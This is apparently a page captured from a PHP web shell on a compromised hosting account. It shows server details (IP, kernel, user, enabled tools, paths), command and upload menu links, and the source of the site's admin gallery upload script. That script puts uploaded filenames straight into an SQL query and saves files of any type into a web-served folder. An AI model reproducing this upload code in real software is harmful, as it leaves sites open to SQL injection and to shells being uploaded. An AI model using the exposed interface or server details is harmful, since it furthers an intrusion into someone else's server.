|
Server IP : 45.113.226.95 / Your IP : 216.73.217.37 Web Server : LiteSpeed System : Linux bharat.hostitbro.com 5.14.0-611.13.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 11 04:57:59 EST 2025 x86_64 User : digita21 ( 1701) PHP Version : 8.3.30 Disable Function : mail MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /home2/digita21/worldwideengineers.in/admin/gallery/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include("header.php");
include("aside.php");
if (isset($_POST['submit'])) {
$total = count($_FILES['image']['name']);
// Loop through each file
for ($i = 0; $i < $total; $i++) {
$image = $_FILES['image']['name'][$i];
$img_path = "./gallery/" . $image;
// Insert each image into the database
$query = "INSERT INTO `gallery`(`gallery`) VALUES ('$image')";
$sql = mysqli_query($connect, $query);
if ($sql) {
move_uploaded_file($_FILES['image']['tmp_name'][$i], $img_path);
// echo "Image uploaded successfully.<br>";
} else {
// echo "Failed to upload <br>";
}
}
}
?>
<div class="container w-100 h-100 mt-5">
<button> <a class="btn btn-outline-primary" href="data_gallery.php">View Data</a></button>
<h3 class="text-center">Product Gallery</h3>
<div class="row">
<div class="col-md-9 mt-5">
<form method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="exampleInputEmail1">Product Image:</label>
<input type="file" class="form-control" name="image[]" id="exampleInputEmail1" aria-describedby="emailHelp" multiple>
</div>
<div class="form-check">
<input type="checkbox" class="form-check-input" id="exampleCheck1">
<label class="form-check-label" for="exampleCheck1">Check me out</label>
</div>
<button type="submit" class="btn btn-primary" name="submit">Submit</button>
</form>
</div>
</div>
</div>
<?php include("footer.php"); ?>